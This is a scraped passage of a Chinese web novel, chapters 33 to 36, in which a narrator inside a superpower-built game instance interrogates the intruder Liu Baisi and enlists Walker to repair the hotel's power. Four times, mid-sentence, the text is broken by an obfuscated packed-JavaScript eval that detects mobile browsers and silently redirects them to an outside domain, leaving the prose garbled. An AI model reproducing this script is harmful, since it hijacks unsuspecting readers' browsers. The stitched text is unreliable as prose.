;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609692|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寂静。 “难不成是在问我吗?!” 好半晌我才猛然醒悟,反手一指自己,当场瞳孔地震。 柳白巳不语,只是用他那双写满纯真的乌黑大眼睛望着我。 “呵呵,我恐怕无福消受fuckbuddy。” “那最好。”他捏着鼻子,瓮声瓮气道。 做人能不能有点边界感?照你说的,我们不是还没确定恋爱关系?甚至我还没完全想起来你是谁,怎么就用上正宫的语气了? 真是槽多无口。 我们几乎把垃圾堆,不,401,翻了个底朝天,然而却一无所获。莱特仿佛拥有未卜先知的能力,竟然早就把所有能吃的全都扫荡一空,连瓶酒都没剩下。 不,酒恐怕是最先没的。 但如果按照存活到第七天的标准来算,手头的食物其实是勉强足够的。我们把从402里找到的五瓶水分了分——沃克两瓶,我和柳白巳三瓶,就各自回房了。 一回到403和404所在的走廊上,柳白巳就立刻把两瓶水一股脑儿地塞给我,然后一溜烟地回了房,跟有老虎狮子撵在他屁股后头跑似的。 他怎么那么奇怪?东西不吃水也不喝?想干嘛?当楼兰古尸吗? 而且也不死缠烂打非要跟着我回404了?太阳打西边出来了? 我望着他的背影叫道:“你尿急吗?!” 结果当然是没人应。 算了,不喝就不喝,让他喝西北风去吧。 我回到自己的房间,收拾一番后就打算去看看莫莉。我真怕她什么时候就悄然无声地撒手人寰了,还是去守着吧,这是我唯一能为她做的了。 对于脖子都险些被砍断一半的人,能坚持到现在已经实属不易。虽然因为马赛克的缘故,我无法更进一步检查莫莉究竟伤到什么程度,但就算对她的伤势了如指掌也于事无补——归根结底,我们没办法给她更好的治疗条件。 这晚我坐在莫莉床边,不知不觉就睡着了。 我感到自己宛如一片羽毛,在半空中轻盈地飘荡着,自由自在。起初的确很惬意,但晃久了,始终落不到实处的感觉又让我由衷地恐慌。 飘着飘着,我摇身一变,又变作一滴直直下坠的水滴,仿佛在黑洞中穿梭,似乎永无尽头。 但我躁动不安的心绪突然平缓下来,静静等待着汇入海洋的那一刻。 “没有再做噩梦了吧?” 循声回头一看,一道身影徐徐涉水而来,嘟囔了一句“怎么这么湿”。 但她踌躇片刻,还是在我身边坐定了。 虽然我看不清她的面容,只能看见薄雾似的轮廓,以及头顶扎着的丸子,凌乱地团成一个小揪揪,圆滚滚的。 但我知道她一定就是萧鸮。 “托你的福,没有。” 我盯着那颗一口好像就能咬掉的丸子看,脑子乱乱。 啊,我想起来了!这个小揪揪看似不大,其实已经是萧鸮所有的头发了。她非说这样能显得她头发多,但实际上这只会雪上加霜——这不,侧面的头皮都露出来了,真是惨不忍睹。 同为STEM,沃克倒是郁郁葱葱。也许我可以替她向沃克问问护发秘诀? 33. 昭然若揭(2) “五分钟。” “好。怎么没有再用那副样子出现了?” “别闲聊。那副样子可是很消耗精神力的,这是我能给你最大的提示了。 “我为你设置的任务都是没有生命危险的,这本来是个对你而言非常轻松简单的副本。但由于入侵者的介入,就像电脑病毒破坏程序那样,用一行恶意代码插入原本正常运行的程序,强行改变程序行为,然后经过层层运算,雪球越滚越大,这个世界就逐渐脱离了我的掌控,危险程度也呈指数型爆炸式上升。” “那现在要怎么办?” “不要着急嘛,先听我说完。我本来以为这个世界会直接崩坏,或是我创造的数据大多被损坏,总之不管怎样都无法正常进行下去,但没想到你竟然能坚持到第五天,看来它也自成一套逻辑了。” 我忍不住接口道:“屎山代码。” “对,就是这样。” 她兴奋于我的脑回路与她的对接上了。 “所以我研究了半天,想杀病毒都无从下手,因为它已经和我写的初始版本长得不一样了。 “为了让它重新回到我的控制下,我打算先反入侵,等重新拿回一部分权限后,再格式化——嗯,也就是彻底摧毁这个世界,一了百了。 “虽然很心痛,要亲手毁了自己的作品,但这是唯一的办法了。” 我登时悚然:“要是在那之前,我没能成功脱离会怎么样?” “嗯……不会怎么样,你放心好了。” “不会怎么样究竟是怎么样?”听了这话我更加无法放下心了。 “最多也就是变成植物人而已吧。” “为什么坑了人还能如此轻描淡写?给我负起责任来啊你这家伙!” 我愤怒地对她重拳出击,拳头却穿过了一片虚无。缩回手,雾气又渐渐聚拢,重新填补上方才缺了的一块,跟开了灵智似的。 “梦境是虚假中的真实、真实中的虚假,即虚假与真实的交集,这里的一切,往往虚虚实实、真假难辨。 “看,只要我心念一动——” 说着,她的身体忽然由薄雾虚化为一缕轻烟,仿佛由无数有生命的粒子聚合而成,轻轻巧巧地绕过我周身一圈,又慢慢凝成人形,我便置身于她的两条手臂环抱之中了。 “嘻嘻,就像这样,有意思吧?” “五分钟。”我半是催促半是提醒道。 “切,昨晚不还翻跟头给我看么?知不知道我守着一具不会说话的你,一连几个小时,真的超无聊啦。” 她又开始唧唧歪歪:“我为你设置的任务完不完成都无所谓,但入侵者给你设置的任务如果不完成,就会——” “就会?” “就会……不知道。” “不知道?没建好防火墙本来就是你的问题,你现在还有脸跟我说不知道?!” 要不是触碰不到她,否则我现在一定抓着她的肩膀疯狂摇晃。 “真的不知道啦,这个惩罚机制又不是我编写的,我真的不知道会产生什么后果,或许……意识被就此抹杀,也是说不定的事呢。” 我伸出去的手又缓缓收回来。 “你一失控就喜欢捏人肩膀的毛病还是没改。对了,入侵者是谁,你有头绪了吗?” 我愣愣盯着那团雾气聚成的人形做出揉捏肩膀的样子,许久才找回自己的声音:“有了。” 我不想被抹杀,不想就此迷失,更不想变成植物人。 从此进食要靠鼻饲管,流食通过胃管直接输送入内,甚至此前要先做胃造瘘术,在胃上开个口子,以便插入饲管;排泄要靠导尿管和人工排便。无法自由地奔跑跳跃不说,躺得久了还容易生褥疮。此外还要忍受精神上的煎熬,简直生不如死。 那样恐怕比杀了我还要更让我难以接受。 也就是说,我必须团结一切现有力量完成任务,并成功脱离世界,才能彻彻底底免于变成植物人的风险。 “你要快些行动哦,反入侵程序一旦开始运行,就无法终止了,同时副本内的时间流速也会加快,所以抓紧点吧。” “嗯。” “不要轻信于人啊。”萧鸮还在絮絮叨叨。 “知道了,我心里有数。” 不知何时,我已从梦中脱身。微光从窗帘缝隙间探进来,视野中的一切渐渐清晰。 眨眨发酸的眼皮,我坐直身子,这才发现自己竟是伏在莫莉床边睡着的,所以手臂和腰背酸痛得要命。 刚活动两下筋骨,就有什么东西从背上掉下来—— 是一张薄毯。 我心头一喜:难道莫莉中途醒过吗? 屋内光线沉沉,站在半明半暗中,我静静望着她青白枯萎的脸,心道:莫莉,你千万要坚持住,我一定会带你逃出去的。 卧室的床前桌上有一块女式手表,表盘是极漂亮的松绿色,方方的,外圈镶着金。 我拿起来凑到眼前,借着微弱的光线看了一眼时间: 凌晨四点半。 很好,正是人的精神最脆弱的时候,很适合做一些击溃心理防线的事情。 比如审讯。 我来到403门前,抬手敲了敲:“睡了吗?” 出乎意料地,里面很快应道:“就来。” 没过几秒钟,门被拉开—— 盘靓条顺,柳白巳穿着衬衫马甲西装裤,双臂抱在胸前,懒懒地倚上门框,抱怨道:“我在睡觉的话,难道还会应你一声‘睡着了’吗?” 他怎么这身行头,完全没睡吗?抑或是趁着从我敲门到他开门这短短不到十秒钟的时间就飞速换好了衣服?闪电侠啊? “别贫嘴。”我一把掐住他下巴,两根手指发力,一步步逼近,几乎是推着他往里走,“我们谈谈。” “嘶!” 柳白巳吃疼,叫了一声,眼里迅速积起泪花,一步步倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609693|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退着,楚楚可怜地瞅我:“你会喜欢被捏扁的下巴吗?喜欢的话我还能忍。” 他退我进,我反手关上门,松开掐着他下巴的两根手指,顺带瞧了一眼:的确掐红了一片。 虽然我也没使多大劲儿,但他本来就又白又嫩,所以那一块尤为显眼,明晃晃搁在下巴上,存在感极强。 我心中难得产生了一丝负罪感。 屋里没开灯,不过也是因为想开也开不了,好在窗帘全都拉开了,还算亮堂。 也许是萧鸮的反入侵已经开始进行了,月光不再是灾厄般的血红,又恢复了往日的皎洁,望之心生宁静。 就着如水的月华,我不动声色地环视一周——焕然一新,跟无人入住的空房间也没什么两样,冷冷清清,一点人气没有,洁净得过分了。 所以那些漂亮精致的小衣服小裙子都是从哪个犄角旮旯掏出来的?他不能是哆啦A梦转世成精吧? “你凌晨来找我,总不会是为了突击检查我有没有做贤夫良父的资质吧?” 柳白巳以手握拳,放在唇边,轻咳一声——上一秒还双腿交叠、长臂一伸,随意靠着沙发背,下一秒已经双膝并拢坐得直挺挺,双手啪地往腿上一放,眼神坚定得像是要入党,“我准备好了。” 我忍不住道:“我不是来求婚的。” “……” “更不是来做入党宣传的。” “你怎么这么残忍,竟能狠心打破一个纯情少男的美梦。” 他顿时颓败下去,跟个被扎破漏气的气球一样,眼神很是幽怨。 “你也说了是美梦,是梦总有醒的那一天。我问你,第一天,你是在哪个时间点进入游戏的?” 他能不顾我的意愿把我逗笑,我还不能装聋作哑吗? 柳白巳面色微变,但旋即又恢复如常,快得像是我的错觉。 他略一低头,作思考状,片刻后才道:“大概午饭时间之后?人家没有你那么强悍的记忆力啦,就算偶尔健忘,小夏你也能理解对吧?” 与萧鸮告诉我的一核实,嘿,你猜怎么着,全对上了。 证据确凿,我张嘴就骂:“你知不知道就是因为你贸然闯入,两个异能领域相互碰撞,才导致我的记忆受损?我根本就没有被困住!你怎么不搞清楚状况才进来?真是成事不足败事有余。” 岂料柳白巳的耻度还是远远超乎了我的想象——“谢谢?” 他面色微红着,眨巴眨巴水润润的大眼睛,一副羞羞答答的样子。 又给他爽到了是吧。一拳打到棉花上,差点没给我气个半死。 我说:“我们来做个交易吧。” “什么?” 这显然打了他一个措手不及,“不用说什么交易,你想做的我都会为你达成,想知道的我都会——” “我不想听这些。” 我打断他,坚持道:“我想要公平公正的交易。你知道蒙太奇吗?” 34. 实际行动(1) “知道。”他下意识答。 “我很清楚,你没有百分之百说实话。” 柳白巳的脸色终于冷肃起来。 此前我从未见过他露出这样的神情。 蒙太奇,源自法语单词Montage,指一种经典的电影艺术表现手法。简单来说,就是通过后期剪辑,将众多不同镜头拼接到一起,从而产生单个镜头所不具备的作用和含义。 比如我就知道有一本叫《蒙太奇之死》的推理小说,弟弟出于某种原因杀死了双胞胎哥哥的爱慕者后,在接受警方审问时,故意在描述时间点和所见所闻上含糊其辞,通过近乎后现代主义式的叙述和视角的巧妙转变,做到了句句属实的同时还摆脱了嫌疑,并成功祸水东引,将警方的视线转移到了在世人眼中两天前就已下落不明的哥哥头上。 “无论如何,我真的没有想要伤害你……” 他试图为自己辩解,但我相信他自己也心知肚明,现在再如何解释也显得苍白无力。 “我知道,也理解,每个人都有自己的小秘密,否则我就不会心平气和地跟你坐下来谈条件了。” 我取出贝雷塔,扳机护圈套着左手食指,中指往前一拨,跳圆舞曲似的,整支枪在指尖旋转一圈后,被精准地截停于掌心中——黑洞洞的枪口朝他一指,我嘴里"biu"了一声,才将其插回口袋中。 然而,我不明白他这反应是被吓到了还是没吓到,总之人是坐得靠前了些、靠近了些,上身前倾,呼吸急促,仿佛空气都变得稀薄,两颊红晕更甚,双眼像嵌了两颗忽闪忽闪的黑尖晶,衬得菱形红瞳愈发诡艳了。 于是我也不由自主被他感染,加紧了呼吸的频率,将空气深深吸入肺里又呼出来,仿佛在跟他争抢所剩无几的氧气。 我觉得这样好诡异,可能他也清楚,所以率先叫停了这首此起彼伏的交响乐:“你想要什么公平公正的交易?我——” 大概他本来又要说什么“我能为你做到的一定会做”之类的,但一想起我的话,又及时打住了。 这样也好,天天吃烤牛肉也会腻,我还是更喜欢实际行动。 “我告诉你关于这个副本的信息,你告诉我你异能的具体效果。” “‘副本’?原来如此,你已经和这里真正的主人联系上了啊。” 柳白巳向后一躺,仰面深深陷进沙发里,好似沉入一片足以吞噬一切前尘往事的流沙中。 我毫不避让地看向他,却在他眉间发现几道浅浅的疲惫——这也是我不曾见过的,无论是在眼前的柳白巳,还是在曾经的“黛西”身上。 这个人满身都是秘密,此刻我越发确信这一点。 “所以你同意了?” “当然。”他想也没想。 “不再考虑一下?” “这是你提出的要求,没什么好考虑的。” 这话说的,难道我让他去跟怪物搏斗他也去吗? 人如果不爱自己,怎么能指望他去爱别人?如今早就不是宗教至上的时代了。 “好,以表诚意,我先来吧。” 我主动开口道:“开发这款‘游戏’的人是我的朋友萧鸮,她的异能名为【傻瓜游戏编辑器】,是空间系异能,可以编写出时长上限为7天的副本。” 没错,这里根本不是什么我一开始以为的全息游戏,而是某个异能者的异能领域! 这个异能者名叫萧鸮,是我的高中室友,她的异能能直接作用于异能者大脑的前额叶、顶叶、颞叶、枕叶等区域,从而起到暂时修改认知的效果。 也就是说,虽然眼下,我人站在这里,正与柳白巳两相对峙,彼此都打起了十二分精神警惕对方,但实际上这一切都只是我的大脑所自以为的——它独自出演了这一幕幕小剧场,玩得不亦乐乎。 而我的肉|体,也许正躺在床上呼呼大睡呢。 当然了,萧鸮的【傻瓜游戏编辑器】看似神通广大,实际上也必须先征求用户同意,并获得大脑的root权限才能发挥作用。这实际上是很危险的——异能者的大脑都是精密仪器,那是一切力量的来源,谁能放心将其完完全全交出去?所以“副本”在研发之初,也受到了大批异能者的反对。 后来萧鸮公开了她的异能名称和效果,再三保证“副本”没有任何“病毒”,只有用户同意并授予权限才能生效,而且并非由她本人直接操纵——打个比方,她的异能效果就像电视遥控器,而她的精神力就是遥控器里的电池,只能换台调音量关电视,不可能对电视造成任何损坏。 在此基础上,她又拉来了异能管理局做担保,副本才渐渐卖出了一份、两份、三份……直至现在的成千上万,赚得盆满钵满。 有得必有失,【傻瓜游戏编辑器】没有丝毫战斗能力,要是遇上不得不动手的情况,这家伙还是赶紧撒丫子跑路为好。 “由于她本职是个游戏公司的程序员,所以总喜欢把副本写成游戏的形式。这个副本原先只是个,呃,推理题材的RPG小游戏,任务是扮演侦探,通过推理和就地取材,找出委托人和目标人物,是她为了帮我锻炼异能而专门设计的。 “但由于你的不请自来,异能效果双重叠加,它已经自行发展演化到十头牛都拉不回来的地步了。” 随着时间流逝,我能明显感觉到海马体和大脑皮层上蒙着的纱被一点一点掀开,谟涅摩绪涅再次向我展露出了她那蒙娜丽莎般的微笑。 看来萧鸮的反入侵工作卓有成效。 只是就差临门一脚,我还是想不起来他是谁,不知为何,仿佛他是我记忆中的一处禁忌似的。 就像《哈利·波特》中的伏地魔一样,人人都知道"YouKnowWho",但偏偏不肯说出他的名字。 “真的很对不起,让你陷入这种境地,遭受无妄之灾……” 柳白巳突然哽咽着,从西裤口袋中掏出一块手帕,拭了拭眼角并不存在的眼泪。我分明瞧见他从缝隙间偷偷瞅了我一眼,发现我正盯着他,又咿咿呜呜地假哭开来:“都是我的错……” 干嘛啊,戏瘾犯了吗? 我道:“我还没说完,你等我说完再开演也不迟。” “好的,请继续。”他光速收好帕子,乖巧地坐得端正。 果然是鳄鱼的眼泪,收放自如。 “人家是看你表情太严肃了,缓和一下气氛嘛。”他为自己争辩道。 我才发现自己一时不察把心声漏出来了。 “萧鸮已经开始反入侵了,作为入侵者的你,能感觉到吧?反入侵到夺回一部分权限的程度后,她就会全局格式化。所以我们最迟也要在第七天早上八点之前脱离副本,否则意识很有可能会被一起格式化掉。” 现实的时间流速与此间不同,我在这里呆了四五天,但据萧鸮所说,外头也才过去不到四个小时而已。故根据她的计算,格式化进度会在第七天时针指向早上八点的那一刻彻底完成。 “还有,你给我安排的是什么鬼任务啊!” 说到这里,我腾地站起来,冲天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609694|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的怨气使我不由得高声了些,几乎是吼出来了。 一低头,发现他缩在沙发里瑟瑟发抖,美眸含泪,又惊又怕,吓得都不敢吱声了。 我噗嗤一声就憋不住破了功:“说话!” 原本我还担心自己语气是不是太重,但看他这副吓坏了的样子,我心底顿时涌上一股难言的凌虐欲,就像可爱侵略症忽然犯了,牙根发痒,想找个什么东西狠狠咬上一口,甚至负罪感都暂时抛到九霄云外去了。 “话。”柳白巳颤颤巍巍挤出一个字。 “好了,不逗你了。” 我重新坐回沙发里,“我该说的都说完了,接下来是你的坦白时间。 “顺便提醒你一句,如果不完成额外生成的任务,还不知道会有什么后果。萧鸮说被篡改后的程序甚至自动生成了一套惩罚机制,所以我想我们也该互帮互助。” 不过对于我来说,“存活七天”和“成功逃离”并非什么节外生枝的任务,倒也不需要花费额外的心力,眼下只要专心致志,为逃出副本而做好准备就行。 只有一点,我到现在还举棋不定—— 任务5中的“成功逃离”,到底指的是逃离酒店,还是逃离游戏? 如果只是逃离游戏,我完全可以在酒店内呆到第七天,再用萧鸮告诉我的方法,脱离副本; 但如果是逃离酒店,那我就得在第七天以前,至少在第七天早上八点前,必须离开酒店,并保持存活状态。 看样子,无论如何都得和沃克合作了。 柳白巳点点头,顷刻便恢复到正常状态——哈,这副楚楚可怜的样子果然也是装出来的,“我的异能名为【三流惊悚小说家】,发动标志应该是这对修改不掉的红色瞳孔。” 一边说,柳白巳一边伸手过来捉我的手。我不明所以,但没有反抗,想看看他究竟要做什么。 他将我的指尖轻轻按到眼皮上——好烫! 我蓦地缩回手,惊疑不定地,与他面面相觑。 这恐怕是他浑身上下温度最高的地方了。我甚至怀疑他是不是把全身的体温集中到了眼球上,所以其它地方才冷得像块冰。 “这是正常现象吗?”我问。 “不清楚,我异能的适用范围似乎很小,我对它掌握不多。”他摇摇头。 “所以叫‘三流’?” 我多嘴问了一句,问完却又开始后悔,有点想抽自己嘴巴子。 虽然异能在激活之初,作为拥有者的我们已知道它的名称,并能通过名称大致推测它的使用效果。具体发挥成什么样,还得经过多次试验才能进一步了解。 但想必谁都不会乐意听到别人说自己的异能“三流”吧……尽管它的名称里本来就带了这俩字。 果不其然,他很勉强地笑了笑,泫然欲泣道:“那两条任务不是我给你安排的,是随机生成的,我现在还没有足够的力量控制它……” 说着说着,两颗眼泪就掉出了眼眶,划过洇润的眼睑和雪白的肌肤,不过一个眨眼间就越掉越多,泪珠扑簌簌地流——我可算明白什么叫“断了线的珠子”了。 瞧着怪叫人心疼的。 看来是规则系的异能,怪不得他对它知之甚少。据我所知,这类异能一般需要依附于其它特定异能才能发挥出来,就像水一样,倒进碗里就是碗的形状,倒进杯子里就是杯子的形状,倒进漏斗里就会全部漏掉,还真不是随便谁的异能都可以—— 我都佩服我自己,现下还能分出一两分心神分析正事。 35. 实际行动(2) 只是这下可不妙,我是真的把人弄哭了,不是装的。我像只呆头鹅一样手足无措地在原地站了几秒,想找纸巾,却又没有,闹了半天还是着急忙慌用手背给他擦的眼泪。 他真是水做的,转眼间手背便濡湿一片不能用了,只好又换成手心,没想到却被他反客为主,温顺地将脸颊送入我掌心里,小动物似的非常依赖地埋着,埋在一片湿哒哒的泪水里吸着鼻子,也不嫌难受。 “好了好了,男子汉大丈夫,坚强点,是我冤枉你了,我道歉,别哭了啊。” 真是怕了他了。 我不会哄人,自己都觉得蹩脚。思来想去,还是伸出两根手指,悄悄探进他裤子口袋里,像夹什么易碎品般,一寸一寸偷偷夹出方才那张手帕—— “你在做什么?” 柳白巳一把抓住我手腕,泪眼婆娑地望着我。 哈哈,有点尴尬。我做贼心虚,悻悻缩回手,“没做什么。” 异能不可能凭空生成,也是严格遵循能量守恒定律的,而能源就是异能者自身的精神力。 他真得庆幸这里面的时间流速与外界不同,否则,换成任意一个精神力充沛的人来,比如拿破仑·波拿巴,或者海伦·凯勒,倘若他们是异能者,要将异能保持在ON状态持续七天,恐怕也会累得够呛。 “所以你现在计划怎么做?我都听你的。” 柳白巳哭够了,总算愿意把重心放到正事上来了。我也很好奇他一天天哪来那么多眼泪。 我低头瞥了眼从莫莉房间里顺来的那块手表,它正稳稳戴在我手腕上,说:“果然还是不能不跟沃克联手。” “可是他很危险。我不想你和他过多接触。” 柳白巳说着,拿衣角擦了擦脸——如果拿的不是我的那就更好了。 “你想,他之前经常一句话也不说,刻意把自己的存在感降到最低,结果一出手就搞了个大的,不仅直接拉莱特为自己挡刀,而且还间接害死了莫莉,最后又是让你开的枪。自己一点腥不沾,就已经杀了三个人,真是心机深沉,打得一手好算盘。 “而且他有什么事都是跟你讨论,几乎没跟我搭过话,明显看出来我们之中你才是话事人,也不知道暗中观察我们多久了。” 一语惊醒梦中人。 虽然这话里带了强烈的个人情绪。 我本来不曾从这个角度想过问题,只是单纯依靠自己野性的直觉,认为沃克一定是个极度危险的人,但被他这么一分析,我登时毛骨悚然,手臂上的鸡皮疙瘩和汗毛直往外冒,后脖子更是吹上了空调冷风,在这微风送暖的暮春时节。 “话虽如此,但现在只有他了解楼下是什么情况,而且他恰好是一名通信工程师,没有他,电力系统无法恢复。酒店里应该会有无线电设备,这恐怕是我们向外界求援的唯一机会了。” “好吧……” 柳白巳也许是哭累了,眼皮有些浮肿,看起来蔫巴巴的,一垂头就往我肩上倒,黏黏糊糊道:“我都听你的。” 眼看马上就要到六点,除非沃克真的心大到一定程度,否则再怎么样也该醒了。 我本来想自己去找他,但柳白巳非要跟着,无奈,也只好两个人一同前去。 …… "Thedistributionroomisindeedonthefirstfloor.Ihavecheckedandfoundthatthepoorcontactiscausedbycorrosionoftheconnectionpoints.Fortunately,thepowerdistributionsystemofthishoteladoptsasegmenteddesign:Althoughthereisapoweroutageonthefourth,fifth,andsixthfloors,thefirst,second,andthirdfloorscanremainunaffected.(配电室的确就在一楼,我检查过,发现是由于连接点腐蚀所导致的接触不良。好在这家酒店的配电系统采用的应该是分段设计:停电的是四五六楼,一二三层不受影响。)" 听得出来,他已经在尽量避免使用专业术语了。 那就是有修复的可能性? 意料之中,沃克应门很快,似乎也没睡,头发抓了胡子刮了脸洗了,散发着一股清新的啫喱味,眼下的乌青又浓重几分,但神智很清醒。 眼下如此情形还这么注重个人形象,该说不说,起码对我的眼睛表达出了善意。 我硬着头皮答应了他的合作请求,他点点头,表示自己知道了,也没有要讥笑我吃回头草的意思。 我暗自松了口气。 虽然脸面不能当饭吃,但能维护的时候还是尽量维护一下吧。 我还没来得及放下心,就听他又说:“但坏消息是,楼下有很多怪物,而且强度未知,单凭一个人根本无法闯过去。” 这就是要求至少得有一个人和他同去了。 “再就是,我需要修复连接点,但没有材料。必要的安全防护用品和工具也缺少。” “工具?” 我想了想——莫非他没发现? “衣柜最底下那格,有医药箱和工具箱,不过都是家用的,比较简单,你看看够用吗?” 他面上显露出惊讶之色,当即就进卧室去了,想来是真不了解。 或许NPC对副本情况掌握有限,代码没写出来的,他们当然不会主动去做。 沃克没叫我们久等,须臾便出来,道:“对我来说,足够了。” 虽然面上极力保持平静,但我还是窥见了他眸中漏出的喜色。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609695|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哦?毫无疑问,他对自己的专业能力十分自信嘛。 “安全防护用品,你具体需要哪些呢?”我问。 “护目镜、绝缘手套、绝缘鞋……最好有一整套的绝缘服。当然了,我知道依现状来看,再提出这种要求就太难为你了。” 的确,这些东西酒店未必没有,但一定很难找。 我为难道:“就不能退而求其次吗?” “要……退到什么程度?” 沃克看起来也很纠结,反手托脸作沉思状,戴着婚戒的无名指正好抵在流畅的下颌线上。 我注意到他的视线掠过我身后一瞬,旋即又飘回来。于是我也跟着扭头一瞥,看见了坐在一米开外的沙发上,正若无其事低头摆弄自己指甲的柳白巳。 这家伙,大概是由于沃克的房间也拾掇得一丝不苟的缘故,初初进来时还一脸兴奋地东张西望,完全不顾自己在沃克眼里还是女性身份。现下总算愿意消停了? 我没管他,转回来继续。 “比如,呃,把护目镜换成墨镜,绝缘手套换成家用清洁手套,绝缘鞋换成橡胶底马丁靴……” 我自己也清楚这究竟有多荒谬可笑,故而底气十分不足,每吐出一个字声音就小一分,房间里的空气也随之越发凝固了。 但这也是没办法的事。酒店这么大,想找出一套齐全的防护用品,无异于大海捞针。就算最终能够找齐,恐怕黄花菜都凉了。 墨镜,伊丽莎白和莫莉那里都有;家用清洁手套,洗衣房里有,我之前甚至穿戴着它伪装成保洁员潜入莱特房间里安插窃听器来着——哦,搞错了,那它现在应该在我房间里才对;马丁靴,我记得柳白巳就有一双,两人身高差不多,鞋码也许差不了多少,沃克应当还是能穿得下吧? 至于绝缘服,哈哈,那当然更是梦里才有的啦。 唉,也不能这么说,让我想想那几本剩下的书里还有什么绝缘的东西能让沃克带上吧。 “哼,真是,疯了……我没想到会退这么多。但条件实在有限的话,我当然也无法说出半个不字。” 沃克苦笑了一下,抬手抓起垂落到额前的碎发往后撩——应该是发胶干掉了,他似乎很喜欢大背头的造型。 刹那间,我福至心灵,张口就问:“嘿,柯林斯先生,我有个问题想请教你,不知是否冒昧呢?” 甫一脱口,沃克的目光顷刻再度错向我身后,但还是说:“你问。” “虽然很不合时宜,但我是真心的。” 身后,一阵草木香气迅速袭来,由远及近,柔和又凛冽。 我闻见了,但没管,只是舔了舔嘴唇,抬头,直视沃克,深吸一口气,问道: “你平时都是怎么护发的?” “哈?” 这次的声音不是从我和沃克嘴里发出的。 而是来自我肩上。 36. 萨普莱斯(1) “你跑来凑什么热闹?” 给我吓一跳——一侧头,嘴唇都贴着他的脸颊擦过去了! 唬得我当场就噔噔退后两步,却见他怔怔抬手,跟被烫到似的,捂住那块皮肤。 “……” 然后,我眼睁睁看着火烧云一点一点升腾,直到把他变成一块彻头彻尾的粉蒸肉。 字面意义上的,粉蒸肉。 “我还以为,你要跟他,表白嘛……” 这块粉蒸肉扭扭捏捏地说。 还有没有人来管管了,一天天的脑子里到底都在想些什么啊? 现在是犯恋爱脑的时候吗?! “咳咳,两位。” 沃克好像终于忍无可忍了,“能不能请你们稍微收敛一些呢?虽然我能理解你们,毕竟我刚新婚那会儿也是这样——但我想目前应该还没切到恋爱频道吧?” “别拿你那所谓的纯情侮辱我们,你个大渣男。” 柳白巳立刻吐槽道,顺带朝他翻了个白眼。 这家伙,别看他嘴上硬气,实则特地换了中文,怂得很——当然也有可能是不知道“渣男”应该怎么翻。 虽然沃克听不懂他在说什么,但人毕竟是感官动物,即使听不懂内容,多少也能听出语气。 更何况白眼一翻,猴子都该知道这是在挑衅它了! “嘿,虽然不知道格林小姐对我有什么不满,但我想现在不是起内讧的时候。” 明眼人都能看出来,沃克正在强忍怒气,“我不是异性恋,你大可放心。” 我险些笑出声,又拼命憋住了。 “好了好了,言归正传。” 我赶紧打圆场,“虽然我们手上没有专业的防护用品,但我会尽力给你准备一些其它的绝缘物,为你多提供一份安全保障。你还需要什么材料?” “对,你不提我都险些忘了,这才是重头戏。” 沃克微微点头,正色道:“这是最重要的东西,甚至防护用品都可以让步,但这东西绝对不能没有,因为没有它,我绝不可能修好连接点。” “是什么?” “端子。” “端子?”我疑惑地跟着重复了一遍。 术业有专攻,我毕竟不是专业人士,不懂这些术语也委实正常。 “就是连接电线或电缆的部件。” “复杂吗?不复杂的话,你给我画张图纸,我给你现做一个。” “你来做?” 他也怀疑地跟着重复了一遍,“复杂倒是不复杂,但材料太难找了,我想破了脑袋也想不出来哪里能找到这东西…… “说到底,这里只是家酒店,又不是矿山,不可能想要什么就有什么。” 越说,他语调就越发渐渐低沉下去,最后那句话更是快掉在地上了,消极之意溢于言表。 “是什么?你直说就是了,请对我有点信心。” 我很坚持地看着他。 振作起来啊bro!负能量是会传播的,不要这么丧啊!我等尚未死战,你怎么就先说起丧气话来了! 只要不是天上的星星,我肯定能想办法给你弄来的! “好吧。像铜、铝这样的,导电性好,强度足够,还要耐腐蚀。我找些工具打磨一下,应该就能用了,但最关键的问题就是没有——” “这个能用吗?” 我掏出一块东西,放到沃克面前。 是那块金晶体。 “这是什么?!” 